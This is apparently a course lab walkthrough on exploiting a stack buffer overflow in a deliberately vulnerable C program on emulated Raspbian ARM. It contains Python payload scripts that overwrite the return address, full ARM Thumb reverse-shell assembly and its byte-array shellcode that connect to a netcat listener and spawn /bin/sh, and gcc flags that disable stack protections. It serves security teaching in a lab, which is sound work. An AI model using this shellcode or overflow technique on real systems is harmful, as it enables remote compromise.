ED 412: Exploiting Raspbian in Qemu with Shellcode (15 pts)

What You Need

Purpose

To learn more about ARM assembly and shellcode.

Running Raspbian

On your Qemu server, execute these commands:

cd armv6_stretch
./start.sh
The emulated Raspberry Pi starts up, and a couple of screens ot text scroll by.

Log in with these credentials:

Making a Vulnerable Program

Execute this command:

nano pwd2.c
Enter this code, as shown below:

#include <stdlib.h>
#include <stdio.h>

void test_pw() {
        char password[10];
        printf("Password address: %p\n", password);
        printf("Enter password: ");
        fgets(password, 800, stdin);
}

void main() {
        test_pw();
        printf("All done!\n");
}
The interface is a little show and buggy.

Save the file with Ctrl+X, Y, Enter.

Now execute these commands:


gcc -g -o pwd2 pwd2.c
./pwd2
HELLO
The program runs, printing out "All done!", as shown below:

Starting gdbserver

In Qemu, at the "pi@raspberrypi:~$" prompt, execute this command:

gdbserver --multi :4444 pwd2
Your Raspberry Pi is now listening on port 4444.

Remotely Debugging the pwd2 Binary

Execute these commands to connect to the ARM device and debug the "pwd" binary. Replace the IP address in the second command with the IP address of the Debian cloud server running your Qemu emulator, which you can find in the Google Cloud Console.

./armgdb
target extended 10.128.0.9:6987
remote get /home/pi/pwd2.c pwd2.c
remote get /home/pi/pwd2 pwd2
file pwd2
y
break main
run
y
list 1,20
You see the C source code for "pwd2.c", as shown below:

Disassembling main

On your Debian instance running gdb, execute this command to see the assembly code for the main function.

disassemble /r main
Notice that ARM instructions are all 4 bytes long, even "nop", as shown below.

Also note the address of the instruction after the call to "test_pw" is 0x00010524.

Finally, notice the "nop" instruction, outlined in yellow below. We'll need that later.

Examining the Stack

On your Debian instance running gdb, execute these commands to delete the old breakpoint, place a breakpoint after the buffer overflow, and continue running the program.

delete breakpoints
y
break 9
continue

Entering a Short Password

In your Qemu session, enter this password, as shown below:

AAAA
The program proceeds to the breakpoint, as shown below.

On your Debian instance running gdb, execute this command to examine the stack:


x/10x $sp
As shown below, the password is on the stack (outlined in green) and the return pointer is 16 bytes lower (outlined in red).

Also note that the address 0xbefffc70 appears a few words further down the stack. We'll place exploit code there.

On your Debian instance running gdb, execute these commands to finish execution and close the gdbserver session.


continue
monitor exit

Writing an Exploit with Dummy Shellcode

In your Qemu session, execute this command:

nano pwd2a.py
Enter this code into the file, as shown below.

The "nopsled" instruction is a slightly modified one based on the "nop" we saw earlier, to avoid null bytes, as explained here.

The "buf" contains the "UND" instruction (undefined), which will break back to the debugger, for now, as explained here.


prefix = "AAAABBBBCCCCDDDD"
eip = "\x70\xfc\xff\xbe"
nopsled = "\x01\x10\xa0\xe1" * 30
buf = "\xe7\xff\xde\xfe" * 200

print prefix + eip + nopsled + buf
Save the file with Ctrl+X, Y, Enter.

Execute this command to write the output into a file:


python pwd2a.py > pwd2a

Running the Exploit in the Debugger

In your Qemu session, execute this command:

gdbserver --multi :4444 pwd2 < pwd2a
On your Debian server running gdb, execute these commands:

run
y
target extended 10.128.0.9:6987
delete breakpoints
y
break 9
run
y
continue
x/50x $sp
You see the stack, as shown below.

The return pointer contains 0xbefffc70, outlined in green below.

That address contains a series of NOPs, outlined in yellow below.

Then an "UND" instrucion appears, outlined in red, which will break back to the debugger.

On your Debian server running gdb, execute this command:


continue
The program executes the NOPs and stops at the UND, as shown below.

We hace achieved execution of injected code!

On your Debian server running gdb, execute these commands:


monitor exit
quit
y

Starting a Listener

On the Debian server you used to run gdb, execute these commands:

sudo apt update
sudo apt install netcat -y
ip a
nc -nlvp 4444
Note the IP address, highlighted in the image below. You need to insert that IP address into your shellcode.

Generating Shellcode

We'll use bind shellcode based on shellcode from Azeria Labs.

In your Qemu session, execute this command:


nano rshell.asm
Enter this code. Adjust the IP address near the end to the correct address for the Debian server you used to run gdb for remote debigging.

.section .text
.global _start
_start:
 .ARM
 add   r3, pc, #1       // switch to thumb mode 
 bx    r3

.THUMB
// socket(2, 1, 0) 
 mov   r0, #2
 mov   r1, #1
 sub   r2, r2
 mov   r7, #200
 add   r7, #81         // r7 = 281 (socket) 
 svc   #1              // r0 = resultant sockfd 
 mov   r4, r0          // save sockfd in r4 

// connect(r0, &sockaddr, 16) 
 adr   r1, struct        // pointer to address, port 
 strb  r2, [r1, #1]    // write 0 for AF_INET 
 mov   r2, #16
 add   r7, #2          // r7 = 283 (connect) 
 svc   #1

// dup2(sockfd, 0) 
 mov   r7, #63         // r7 = 63 (dup2) 
 mov   r0, r4          // r4 is the saved sockfd 
 sub   r1, r1          // r1 = 0 (stdin) 
 svc   #1
// dup2(sockfd, 1) 
 mov   r0, r4          // r4 is the saved sockfd 
 mov   r1, #1          // r1 = 1 (stdout) 
 svc   #1
// dup2(sockfd, 2) 
 mov   r0, r4         // r4 is the saved sockfd 
 mov   r1, #2         // r1 = 2 (stderr)
 svc   #1

// execve("/bin/sh", 0, 0) 
 adr   r0, binsh
 sub   r2, r2
 sub   r1, r1
 strb  r2, [r0, #7]
 mov   r7, #11       // r7 = 11 (execve) 
 svc   #1

struct:
.ascii "\x02\xff"      // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c"      // port number 4444 
.byte 10,128,0,11      // IP Address 
binsh:
.ascii "/bin/shX"
Save the file with Ctrl+X, Y, Enter.

In your Qemu session, execute these commands:


as rshell.asm -o rshell.o
ld -N rshell.o -o rshell
./rshell
On the Debian server you used to run gdb, the shellcode connects. Execute these commands:

whoami
exit
As shown below, the shell works, replying "pi".

Converting your Shellcode to Binary

Next we need to strip away the setup portion of the executable and keep only the raw binary machine code.

In your Qemu session, execute these commands:


objcopy -O binary rshell rshell.bin
xxd -i rshell.bin
As shown below, the binary appears in C format.

Testing the Shellcode in C

In your Qemu session, execute this command:

nano testr.c
Enter this code, replacing the rshell_bin bytes with the C code you generated with xxd.

#include<stdio.h>
#include<string.h>

unsigned char rshell_bin[] = {
  0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1, 0x02, 0x20, 0x01, 0x21,
  0x92, 0x1a, 0xc8, 0x27, 0x51, 0x37, 0x01, 0xdf, 0x04, 0x1c, 0x0a, 0xa1,
  0x4a, 0x70, 0x10, 0x22, 0x02, 0x37, 0x01, 0xdf, 0x3f, 0x27, 0x20, 0x1c,
  0x49, 0x1a, 0x01, 0xdf, 0x20, 0x1c, 0x01, 0x21, 0x01, 0xdf, 0x20, 0x1c,
  0x02, 0x21, 0x01, 0xdf, 0x04, 0xa0, 0x92, 0x1a, 0x49, 0x1a, 0xc2, 0x71,
  0x0b, 0x27, 0x01, 0xdf, 0x02, 0xff, 0x11, 0x5c, 0x0a, 0x80, 0x00, 0x0b,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x58
};


int main()
{

  printf("Shellcode Length:  %d\n", strlen(rshell_bin));

	int (*ret)() = (int(*)())rshell_bin;

	ret();

}
Save the file with Ctrl+X, Y, Enter.

Starting a Listener

On the Debian server you used to run gdb, execute this command:

nc -nlvp 4444

Compiling the C Test Code

In your Qemu session, execute these commands:

gcc -zexecstack -o testr testr.c
./testr
On the Debian server you used to run gdb, the shellcode connects. Execute these commands:

whoami
exit
As shown below, the shell works, replying "pi".

Writing an Exploit with Shellcode

In your Qemu session, execute this command:

nano pwd2b.py
In your Qemu session, execute this command:

nano pwd2b.py
Paste in the binary code you generated above, which will look like this.

  0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1, 0x02, 0x20, 0x01, 0x21,
  0x92, 0x1a, 0xc8, 0x27, 0x51, 0x37, 0x01, 0xdf, 0x04, 0x1c, 0x0a, 0xa1,
  0x4a, 0x70, 0x10, 0x22, 0x02, 0x37, 0x01, 0xdf, 0x3f, 0x27, 0x20, 0x1c,
  0x49, 0x1a, 0x01, 0xdf, 0x20, 0x1c, 0x01, 0x21, 0x01, 0xdf, 0x20, 0x1c,
  0x02, 0x21, 0x01, 0xdf, 0x04, 0xa0, 0x92, 0x1a, 0x49, 0x1a, 0xc2, 0x71,
  0x0b, 0x27, 0x01, 0xdf, 0x02, 0xff, 0x11, 0x5c, 0x0a, 0x80, 0x00, 0x0b,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x58

Using Search and Replace

First we'll remove all the spaces.

Press Ctrl+W, Ctrl+R to start a replace operation.

Type a single space and press Enter.

The prompt at the bottom of the screen asks "Replace with:" and press Enter.

Press A to replace all instances.

Repeat the process to remove all commas, and to replace "0x" with a "\x", as shown below.

Add the remaining code to complete the script, as shown below.

Notice the command outlined in red below: it contains a byte of 0a, or Line Feed. This is a problem, as we'll see below.

Save the file with Ctrl+X, Y, Enter.

Debugging the Exploit

In your Qemu session, execute these commands:

python pwd2b.py > pwd2b
gdbserver --multi :4444 pwd2 < pwd2b
On your Debian server running gdb, execute these commands:

./armgdb
target extended 10.128.0.9:6987
file pwd2
y
break 9
run
y
continue
x/50x $sp
You see the stack, as shown below.

Notice the word outlined in red below: the 0a byte terminated the string and the bytes after it never went onto the stack.


Flag ED 412.1: Signal (15 pts)

On the Debian server, at the (gdb) prompt, exececute this command:

continue
The flag is covered by a green rectangle in the image below.


Sources

ARMv6-M Architecture Reference Manual
wget/curl large file from google drive
gdb_exception_RETURN_MASK_ERROR #206
Compiling a Debian package with debug symbols
Cross compiling for ARM with Ubuntu 16.04 LTS
17. Debugging Remote Programs
Raspbian GDB broken
Raspberry Pi: debugging with gdb, command line
Raspberry Pi: C++ cross-compiling
BL instruction ARM - How does it work
SMASHING THE ARM STACK: ARM EXPLOITATION PART 1
Shellcode: Linux ARM Thumb mode
Linux ARM Shellcode - Part 2 - Removing NULLs
Shellcodes database for study cases


Posted 11-26-19